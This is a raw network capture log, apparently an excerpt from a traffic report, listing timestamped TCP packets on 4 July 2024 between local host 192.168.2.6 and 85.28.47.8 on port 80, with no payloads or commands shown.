                                                              Jul 4, 2024 11:16:18.308435917 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.308446884 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.308489084 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.308526993 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.308531046 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.308540106 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.308552027 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.308562994 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.308578968 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.308619976 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.348349094 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.348377943 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.348388910 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.348455906 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.348512888 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.348524094 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.348535061 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.348553896 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.348563910 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.348577976 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.348644972 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.348687887 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.348721981 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.348732948 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.348746061 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.348777056 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.348794937 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.348808050 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.348830938 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.348896027 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.348911047 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.348922014 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.348949909 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.348977089 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.349035025 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.349046946 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.349057913 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.349070072 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.349081993 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.349092960 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.349093914 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.349119902 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.349133015 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.349359989 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.349370956 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.349392891 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.349402905 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.349412918 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.349421978 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.349425077 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.349436998 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.349438906 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.349453926 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.349466085 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.349473000 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.349478006 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.349493027 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.349494934 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.349510908 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.349520922 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.349525928 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.349565029 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.349807978 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.349819899 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.349842072 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.349852085 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.349858046 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.349864006 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.349874973 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.349884033 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.349885941 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.349900007 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.349920034 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.360824108 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.360877037 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.360893965 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.360908985 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.360953093 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.360979080 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.360992908 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.361004114 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.361016035 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.361033916 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.361057997 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.361203909 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.361215115 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.361226082 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.361237049 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.361246109 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.361251116 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.361273050 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.361279011 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.361289024 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.361301899 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.361315012 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.361315012 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.361339092 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.361542940 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.361555099 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.361568928 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.361598015 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.361601114 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.361607075 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.361613989 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.361625910 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.361640930 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.361653090 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.361664057 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.361664057 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.361675978 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.361687899 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.361691952 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.361700058 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.361711979 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.361715078 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.361726999 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.361727953 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.361740112 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.361752033 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.361757994 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.361787081 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.361995935 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.362010002 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.362020016 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.362030029 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.362037897 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.362068892 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.362251997 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.362263918 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.362282991 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.362297058 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.362299919 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.362303972 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.362315893 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.362328053 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.362339020 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.362349987 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.362351894 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.362363100 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.362368107 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.362368107 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.362376928 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.362389088 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.362400055 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.362401009 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.362411022 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.362418890 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.362433910 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.362442970 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.362446070 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.362458944 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.362469912 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.362478971 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.362483025 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.362489939 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.362502098 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.362514019 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.362536907 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.362554073 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.362914085 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.362941027 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.362952948 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.362967014 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.362987041 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.362991095 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.363004923 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.363009930 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.363049984 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.398319006 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.398335934 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.398348093 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.398367882 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.398385048 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.398394108 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.398399115 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.398411989 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.398423910 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.398425102 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.398442984 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.398473978 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.438395023 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.438447952 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.438458920 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.438486099 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.438616991 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.438659906 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.438661098 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.438674927 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.438685894 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.438713074 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.438774109 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.438786030 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.438796997 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.438808918 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.438819885 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.438853979 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.438936949 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.438949108 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.438960075 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.438976049 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.438985109 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.438990116 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.439002037 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.439007044 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.439014912 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.439026117 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.439033985 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.439038992 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.439054012 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.439066887 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.439084053 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.439173937 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.439218998 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.439229965 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.439241886 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.439254045 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.439279079 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.439409018 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.439423084 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.439435005 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.439445972 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.439455986 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.439457893 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.439469099 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.439481020 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.439483881 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.439493895 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.439508915 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.439511061 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.439526081 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.439529896 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.439546108 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.439749956 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.439760923 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.439774036 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.439785004 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.439796925 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.439796925 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.439809084 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.439821959 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.439825058 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.439834118 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.439846992 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.439846992 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.439862013 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.439870119 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.439891100 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.450804949 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.450829029 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.450834990 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.450848103 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.450860023 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.450882912 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.450890064 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.450905085 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.450921059 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.450931072 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.450948000 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.450968981 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.451031923 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.451045036 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.451057911 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.451070070 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.451083899 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.451111078 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.451137066 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.451148033 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.451174974 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.451242924 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.451256037 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.451267958 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.451278925 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.451291084 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.451291084 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.451303005 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.451304913 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.451316118 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.451339960 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.451355934 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.451409101 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.451421022 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.451431990 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.451457977 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.451527119 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.451539040 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.451549053 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.451560974 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.451574087 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.451602936 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.451674938 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.451687098 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.451698065 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.451714039 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.451725006 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.451726913 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.451735973 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.451738119 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.451749086 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.451761007 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.451781034 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.451817036 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.452018023 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.452029943 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.452044010 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.452059031 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.452066898 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.452079058 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.452090025 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.452091932 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.452100992 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.452112913 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.452119112 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.452131033 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.452141047 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.452148914 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.452161074 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.452176094 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.452178955 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.452191114 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.452200890 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.452203989 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.452217102 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.452244997 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.452260971 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.452395916 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.452492952 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.452505112 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.452516079 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.452527046 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.452537060 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.452539921 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.452553034 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.452564001 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.452564955 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.452577114 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.452581882 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.452614069 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.452887058 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.452898979 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.452910900 CEST804972385.28.47.8192.168.2.6
